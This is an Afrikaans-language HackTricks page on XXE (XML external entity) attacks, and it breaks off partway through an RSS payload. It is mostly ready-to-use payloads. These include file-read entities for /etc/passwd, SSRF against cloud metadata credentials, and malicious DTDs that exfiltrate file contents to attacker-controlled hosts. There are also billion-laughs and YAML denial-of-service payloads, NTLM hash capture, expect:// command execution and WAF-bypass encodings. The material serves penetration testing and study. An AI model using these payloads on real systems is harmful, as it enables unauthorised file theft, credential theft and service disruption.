XXE - XEE - XML Eksterne Entiteit
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die đŹ Discord groep of die telegram groep of volg ons op Twitter đŠ @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
XML Basiese Beginsels
XML is ân opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met ân buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot ân stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
- Data voorstelling deur Entiteite: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos
<en>, wat ooreenstem met<en>om konflik met XML se etikette stelsel te vermy. - Definiëring van XML Elemente: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
- Dokumenttipe Definisie (DTD): DTDâs is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of ân kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
- Pasgemaakte en Eksterne Entiteite: XML ondersteun die skepping van pasgemaakte entiteite binne ân DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met ân URL, bring sekuriteitskwessies mee, veral in die konteks van XML Eksterne Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut:
<!DOCTYPE foo [ <!ENTITY myentity "value" > ]> - XXE Opsporing met Parameter Entiteite: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreĂ«ls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na ân beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]><!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>
Hoofaanvalle
Nuwe Entiteit toets
In hierdie aanval gaan ek toets of ân eenvoudige nuwe ENTITEIT verklaring werk.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
<stockCheck>
<productId>&toreplace;</productId>
<storeId>1</storeId>
</stockCheck>
.png)
Lees lĂȘer
Kom ons probeer om /etc/passwd op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: C:\windows\system32\drivers\etc\hosts
In hierdie eerste geval let op dat SYSTEM â**file:///**etc/passwdâ ook sal werk.
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
.png)
Hierdie tweede geval behoort nuttig te wees om ân lĂȘer te onttrek as die webbediener PHP gebruik (nie die geval van Portswiggers laboratoriums nie)
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
<data>&example;</data>
In hierdie derde geval let op dat ons die Element stockCheck as ANY verklaar.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT stockCheck ANY>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&file;</productId>
<storeId>1</storeId>
</stockCheck3>
.png)
Gidslys
In Java gebaseerde toepassings mag dit moontlik wees om die inhoud van ân gids via XXE te lys met ân payload soos (net die gids vra in plaas van die lĂȘer):
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
<!-- /etc/ -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
SSRF
ân XXE kan gebruik word om ân SSRF binne ân wolk te misbruik
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
Blind SSRF
Met die voorheen kommentaar gelede tegniek kan jy die bediener laat toegang verkry tot ân bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat XML entiteite nie toegelaat word nie, in daardie geval kan jy probeer om XML parameter entiteite te gebruik:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
âBlindâ SSRF - Exfiltreer data uit-band
In hierdie geval gaan ons die bediener laat laai ân nuwe DTD met ân kwaadwillige payload wat die inhoud van ân lĂȘer via HTTP versoek sal stuur (vir multi-lyn lĂȘers kan jy probeer om dit uit te haal via _ftp://_ met hierdie basiese bediener byvoorbeeld xxe-ftp-server.rb). Hierdie verduideliking is gebaseer op Portswiggers lab hier.
In die gegewe kwaadwillige DTD word ân reeks stappe uitgevoer om data uit te haal:
Kwaadwillige DTD Voorbeeld:
Die struktuur is soos volg:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
Die stappe wat deur hierdie DTD uitgevoer word, sluit in:
- Definisie van Parameter Entiteite:
- ân XML parameter entiteit,
%file, word geskep, wat die inhoud van die/etc/hostnamelĂȘer lees. - ân Ander XML parameter entiteit,
%eval, word gedefinieer. Dit verklaar dinamies ân nuwe XML parameter entiteit,%exfiltrate. Die%exfiltrateentiteit is ingestel om ân HTTP versoek na die aanvaller se bediener te maak, wat die inhoud van die%fileentiteit binne die navraagstring van die URL deurgee.
- Uitvoering van Entiteite:
- Die
%evalentiteit word gebruik, wat lei tot die uitvoering van die dinamiese verklaring van die%exfiltrateentiteit. - Die
%exfiltrateentiteit word dan gebruik, wat ân HTTP versoek na die gespesifiseerde URL met die lĂȘer se inhoud aktiveer.
Die aanvaller huisves hierdie kwaadwillige DTD op ân bediener onder hul beheer, tipies by ân URL soos http://web-attacker.com/malicious.dtd.
XXE Payload: Om ân kwesbare toepassing te benut, stuur die aanvaller ân XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Hierdie payload definieer ân XML parameterentiteit %xxe en inkorporeer dit binne die DTD. Wanneer dit deur ân XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die /etc/hostname-lĂȘer na die aanvaller se bediener.
Foutgebaseerd (Eksterne DTD)
In hierdie geval gaan ons die bediener dwing om ân kwaadwillige DTD te laai wat die inhoud van ân lĂȘer binne ân foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien). Voorbeeld hier.
ân XML-parsingsfoutboodskap, wat die inhoud van die /etc/passwd-lĂȘer onthul, kan geaktiveer word deur ân kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
- ân XML parameterentiteit genaamd
fileword gedefinieer, wat die inhoud van die/etc/passwd-lĂȘer bevat. - ân XML parameterentiteit genaamd
evalword gedefinieer, wat ân dinamiese verklaring vir ân ander XML parameterentiteit genaamderrorinkorporeer. Hierdieerrorentiteit, wanneer geĂ«valueer, probeer om ân nie-bestaande lĂȘer te laai, wat die inhoud van diefileentiteit as sy naam inkorporeer. - Die
evalentiteit word aangeroep, wat lei tot die dinamiese verklaring van dieerrorentiteit. - Aanspreking van die
errorentiteit lei tot ân poging om ân nie-bestaande lĂȘer te laai, wat ân foutboodskap genereer wat die inhoud van die/etc/passwd-lĂȘer as deel van die lĂȘernaam insluit.
Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
Upon execution, the web serverâs response should include an error message displaying the contents of the /etc/passwd file.
.png)
Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die tweede eval in te sluit, maar dit is verbode in die interne DTD. Daarom kan jy nie ân fout afdwing sonder om ân eksterne DTD te gebruik (gewoonlik).
Foutgebaseerd (stelsel DTD)
So wat van blinde XXE kwesbaarhede wanneer uit-baan interaksies geblokkeer is (eksterne verbindings is nie beskikbaar nie)?
ân Gaping in die XML-taal spesifikasie kan sensitiewe data blootstel deur foutboodskappe wanneer ân dokument se DTD interne en eksterne verklarings meng. Hierdie probleem maak dit moontlik om die interne herdefinisie van entiteite wat eksterne verklaar is, te fasiliteer, wat die uitvoering van foutgebaseerde XXE-aanvalle moontlik maak. Sulke aanvalle benut die herdefinisie van ân XML parameterentiteit, oorspronklik verklaar in ân eksterne DTD, van binne ân interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lĂȘers om die aanval uit te voer, met die doel om ân ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
Oorweeg ân scenario waar die bediener se lĂȘerstelsel ân DTD-lĂȘer bevat by /usr/local/app/schema.dtd, wat ân entiteit genaamd custom_entity definieer. ân Aanvaller kan ân XML-ontledingsfout veroorsaak wat die inhoud van die /etc/passwd-lĂȘer onthul deur ân hibriede DTD soos volg in te dien:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file'>">
%eval;
%error;
'>
%local_dtd;
]>
Die uiteengesette stappe word deur hierdie DTD uitgevoer:
- Die definisie van ân XML parameterentiteit genaamd
local_dtdsluit die eksterne DTD-lĂȘer in wat op die bediener se lĂȘerstelsel geleĂ« is. - ân Herdefinisie vind plaas vir die
custom_entityXML parameterentiteit, oorspronklik gedefinieer in die eksterne DTD, om ân error-based XXE exploit te omhul. Hierdie herdefinisie is ontwerp om ân ontledingsfout uit te lok, wat die inhoud van die/etc/passwdlĂȘer blootstel. - Deur die
local_dtdentiteit te gebruik, word die eksterne DTD geaktiveer, wat die nuut gedefinieerdecustom_entityinsluit. Hierdie reeks aksies lei tot die vrystelling van die foutboodskap wat deur die exploit gemik is.
Werklike wĂȘreld voorbeeld: Stelsels wat die GNOME-bureaubladomgewing gebruik, het dikwels ân DTD by /usr/share/yelp/dtd/docbookx.dtd wat ân entiteit genaamd ISOamso bevat.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
.png)
Aangesien hierdie tegniek ân interne DTD gebruik, moet jy eers ân geldige een vind. Jy kan dit doen deur die dieselfde OS / sagteware te installeer wat die bediener gebruik en sommige standaard DTDs te soek, of ân lys van standaard DTDs binne stelsels te verkry en te kyk of enige van hulle bestaan:
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
Vir meer inligting, kyk na https://portswigger.net/web-security/xxe/blind
Vind DTDs binne die stelsel
In die volgende wonderlike github repo kan jy paaie van DTDs wat in die stelsel teenwoordig kan wees vind:
dtd-finder/list at master \xc2\xb7 GoSecure/dtd-finder \xc2\xb7 GitHub
Boonop, as jy die Docker beeld van die slagoffer stelsel het, kan jy die hulpmiddel van dieselfde repo gebruik om die beeld te skandeer en die pad van DTDs wat binne die stelsel teenwoordig is, te vind. Lees die Readme van die github om te leer hoe.
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
Scanning TAR file /tmp/dadocker.tar
[=] Found a DTD: /tomcat/lib/jsp-api.jar!/jakarta/servlet/jsp/resources/jspxml.dtd
Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
XXE via Office Open XML Parsers
Vir ân meer diepgaande verduideliking van hierdie aanval, kyk na die tweede afdeling van hierdie wonderlike pos van Detectify.
Die vermoĂ« om Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, ân webtoepassing mag gebruikers toelaat om data in te voer deur ân XLSX-formaat sigblad op te laai. Ten einde vir die parser moontlik te wees om die data uit die sigblad te onttrek, sal dit onvermydelik ten minste een XML-lĂȘer moet parse.
Om vir hierdie kwesbaarheid te toets, is dit nodig om ân Microsoft Office-lĂȘer wat ân XXE-payload bevat, te skep. Die eerste stap is om ân leĂ« gids te skep waaraan die dokument ontzip kan word.
Sodra die dokument ontzip is, moet die XML-lĂȘer geleĂ« by ./unzipped/word/document.xml geopen en in ân verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met ân HTTP-versoek begin.
Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met ân monitorbare URL vir versoeke te vervang.
Laastens kan die lĂȘer gezip word om die kwaadwillige poc.docx-lĂȘer te skep. Vanuit die voorheen geskepte âunzippedâ gids, moet die volgende opdrag uitgevoer word:
Nou kan die geskepte lĂȘer na die potensieel kwesbare webtoepassing opgelaai word, en ân mens kan hoop vir ân versoek om in die Burp Collaborator-logs te verskyn.
Jar: protocol
Die jar protokol is eksklusief beskikbaar binne Java-toepassings. Dit is ontwerp om lĂȘertoegang binne ân PKZIP argief (bv. .zip, .jar, ens.) moontlik te maak, wat beide plaaslike en afstandslĂȘers dek.
jar:file:///var/myarchive.zip!/file.txt
jar:https://download.host.com/myarchive.zip!/file.txt
Caution
Om toegang te verkry tot lĂȘers binne PKZIP-lĂȘers is baie nuttig om XXE via stelseldokumenttipes (DTD) te misbruik. Kyk hierdie afdeling om te leer hoe om stelseldokumenttipes (DTD) te misbruik.
Die proses agter die toegang tot ân lĂȘer binne ân PKZIP-argief via die jar-protokol behels verskeie stappe:
- ân HTTP-versoek word gemaak om die zip-argief van ân gespesifiseerde ligging af te laai, soos
https://download.website.com/archive.zip. - Die HTTP-antwoord wat die argief bevat, word tydelik op die stelsel gestoor, tipies in ân ligging soos
/tmp/.... - Die argief word dan onttrek om toegang tot sy inhoud te verkry.
- Die spesifieke lĂȘer binne die argief,
file.zip, word gelees. - Na die operasie word enige tydelike lĂȘers wat tydens hierdie proses geskep is, verwyder.
ân Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperkt oop te hou wanneer die argief lĂȘer bedien word. Gereedskap beskikbaar by hierdie repo kan vir hierdie doel gebruik word, insluitend ân Python-bediener (slow_http_server.py) en ân Java-bediener (slowserver.jar).
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
<foo>&xxe;</foo>
Caution
Om lĂȘers in ân tydelike gids te skryf kan help om ân ander kwesbaarheid wat ân pad traversering behels (soos plaaslike lĂȘer insluiting, sjabloon inspuiting, XSLT RCE, deserialisering, ens.) te verhoog.
XSS
<![CDATA[<]]>script<![CDATA[>]]>alert(1)<![CDATA[<]]>/script<![CDATA[>]]>
DoS
Biljoen Lag Aanval
<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>
Yaml-aanval
a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
Kwadratiese Blowup Aanval
.png)
Verkryging van NTML
Op Windows-gasheer is dit moontlik om die NTML-hash van die webbediener gebruiker te verkry deur ân responder.py handler in te stel:
Responder.py -I eth0 -v
en deur die volgende versoek te stuur
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM 'file://///attackerIp//randomDir/random.jpg'> ]>
<data>&example;</data>
Then you can try to crack the hash using hashcat
Verborgen XXE Oppervlakke
XInclude
Wanneer kliĂ«ntdata in server-kant XML-dokumente geĂŻntegreer word, soos diĂ© in agtergrond SOAP versoeke, is direkte beheer oor die XML-struktuur dikwels beperk, wat tradisionele XXE-aanvalle bemoeilik weens beperkings op die wysiging van die DOCTYPE element. ân XInclude aanval bied egter ân oplossing deur die invoeging van eksterne entiteite binne enige data-element van die XML-dokument toe te laat. Hierdie metode is effektief selfs wanneer slegs ân gedeelte van die data binne ân deur die bediener gegenereerde XML-dokument beheer kan word.
Om ân XInclude aanval uit te voer, moet die XInclude naamruimte verklaar word, en die lĂȘerpad vir die beoogde eksterne entiteit moet gespesifiseer word. Hieronder is ân bondige voorbeeld van hoe so ân aanval geformuleer kan word:
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1
Kontrollere https://portswigger.net/web-security/xxe vir meer inligting!
SVG - LĂȘeroplaai
LĂȘers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lĂȘerformate hanteer word, benut. Algemene lĂȘerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
Wanneer gebruikers beelde oplaai, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun. SVG, as ân XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
ân Voorbeeld van so ân ontploffing word hieronder getoon, waar ân kwaadwillige SVG-beeld probeer om stelsellĂȘers te lees:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>
ân Ander metode behels die poging om opdragte deur die PHP âexpectâ wrapper uit te voer:
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
<image xlink:href="expect://ls"></image>
</svg>
In beide gevalle word die SVG-formaat gebruik om aanvalle te loods wat die XML-verwerkingsvermoëns van die bediener se sagteware benut, wat die behoefte aan robuuste invoervalidasie en sekuriteitsmaatreëls beklemtoon.
Kyk na https://portswigger.net/web-security/xxe vir meer inligting!
Let daarop dat die eerste lyn van die geleesde lĂȘer of van die resultaat van die uitvoering BINNE die geskepte beeld sal verskyn. So jy moet in staat wees om toegang te verkry tot die beeld wat SVG geskep het.
PDF - LĂȘer opgelaai
Lees die volgende pos om te leer hoe om ân XXE te benut deur ân PDF lĂȘer op te laai:
PDF Upload - XXE and CORS bypass
Inhoudstipe: Van x-www-urlencoded na XML
As ân POST-versoek die data in XML-formaat aanvaar, kan jy probeer om ân XXE in daardie versoek te benut. Byvoorbeeld, as ân normale versoek die volgende bevat:
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
foo=bar
Dan mag jy dalk die volgende versoek indien, met dieselfde resultaat:
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52
<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>
Content-Type: Van JSON na XEE
Om die versoek te verander, kan jy ân Burp-uitbreiding gebruik genaamd âContent Type Converterâ. Hier kan jy hierdie voorbeeld vind:
Content-Type: application/json;charset=UTF-8
{"root": {"root": {
"firstName": "Avinash",
"lastName": "",
"country": "United States",
"city": "ddd",
"postalCode": "ddd"
}}}
Content-Type: application/xml;charset=UTF-8
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE testingxxe [<!ENTITY xxe SYSTEM "http://34.229.92.127:8000/TEST.ext" >]>
<root>
<root>
<firstName>&xxe;</firstName>
<lastName/>
<country>United States</country>
<city>ddd</city>
<postalCode>ddd</postalCode>
</root>
</root>
Nog ân voorbeeld kan hier gevind word.
WAF & Beskerming Omseilings
Base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
Dit werk net as die XML-bediener die data:// protokol aanvaar.
UTF-7
Jy kan die [âEncode Recipeâ van cyberchef hier ]([https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28âUTF-7 %2865000%29â%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to](https://gchq.github.io/CyberChef/index.html#recipe=Encode_text%28âUTF-7 %2865000%29â%29&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to) transformeer na UTF-7.
<!xml version="1.0" encoding="UTF-7"?-->
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
<?xml version="1.0" encoding="UTF-7"?>
+ADwAIQ-DOCTYPE foo+AFs +ADwAIQ-ELEMENT foo ANY +AD4
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
File:/ Protocol Bypass
As die web PHP gebruik, kan jy in plaas van file:/ php wrappersphp://filter/convert.base64-encode/resource= gebruik om interne lĂȘers te toegang.
As die web Java gebruik, kan jy die jar: protocol nagaan.
HTML Entities
Truk van https://github.com/Ambrotd/XXE-Notes
Jy kan ân entiteit binne ân entiteit skep deur dit met html entities te kodeer en dit dan aan te roep om ân dtd te laai.
Let daarop dat die HTML Entities wat gebruik word numeries moet wees (soos [in hierdie voorbeeld](https://gchq.github.io/CyberChef/index.html#recipe=To_HTML_Entity%28true,âNumeric entitiesâ%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\).
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
<data>
<env>&exfil;</env>
</data>
DTD voorbeeld:
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/flag">
<!ENTITY % abt "<!ENTITY exfil SYSTEM 'http://172.17.0.1:7878/bypass.xml?%data;'>">
%abt;
%exfil;
PHP Wrappers
Base64
Ontrek index.php
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
Onttrek eksterne hulpbron
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3"> ]>
Afgeleë kode-uitvoering
As die PHP âexpectâ module gelaai is
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
SOAP - XEE
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
XLIFF - XXE
Hierdie voorbeeld is geĂŻnspireer deur https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe
XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is ân XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as ân algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
Blind Versoekanalise
ân Versoek word aan die bediener gemaak met die volgende inhoud:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://redacted.burpcollaborator.net/?xxe_test"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Hierdie versoek veroorsaak egter ân interne bedienerfout, wat spesifiek ân probleem met die merkverklarings noem:
{
"status": 500,
"error": "Internal Server Error",
"message": "Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."
}
Ten spyte van die fout, word ân treffer op Burp Collaborator aangeteken, wat ân sekere vlak van interaksie met die eksterne entiteit aandui.
Out of Band Data Exfiltration Om data te eksfiltreer, word ân gewysigde versoek gestuur:
------WebKitFormBoundaryqBdAsEtYaBjTArl3
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
Content-Type: application/x-xliff+xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE XXE [
<!ENTITY % remote SYSTEM "http://attacker.com/evil.dtd"> %remote; ]>
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. ân Opgemerk beperking met hierdie weergawe van Java is die onmoontlikheid om lĂȘers wat ân nuwe reĂ«l karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
Foutgebaseerde Data Eksfiltrasie Om hierdie beperking te oorkom, word ân Foutgebaseerde benadering gebruik. Die DTD-lĂȘer is as volg gestruktureer om ân fout te ontketen wat data van ân teikenlĂȘer insluit:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
%foo;
%xxe;
Die bediener reageer met ân fout, wat belangrik die nie-bestaande lĂȘer reflekteer, wat aandui dat die bediener probeer om toegang te verkry tot die gespesifiseerde lĂȘer:
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
Om die lĂȘer se inhoud in die foutboodskap in te sluit, word die DTD-lĂȘer aangepas:
<!ENTITY % data SYSTEM "file:///etc/passwd">
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/%data;'>">
%foo;
%xxe;
Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lĂȘer se inhoud, soos dit weerspieĂ«l word in die foutuitset wat via HTTP gestuur word. Dit dui op ân suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
RSS - XEE
Geldige XML met RSS-formaat om ân XXE kwesbaarheid te benut.
Ping terug
Eenvoudige HTTP-versoek na die aanvallersbediener
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE title [ <!ELEMENT title ANY >
<!ENTITY xxe SYSTEM "http://<AttackIP>/rssXXE" >]>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
<channel>
<title>XXE Test Blog</title>
<link>http://example.com/</link>
<description>XXE Test Blog</description>
<lastBuildDate>Mon, 02 Feb 2015 00:00:00 -0000</lastBuildDate>
<item>
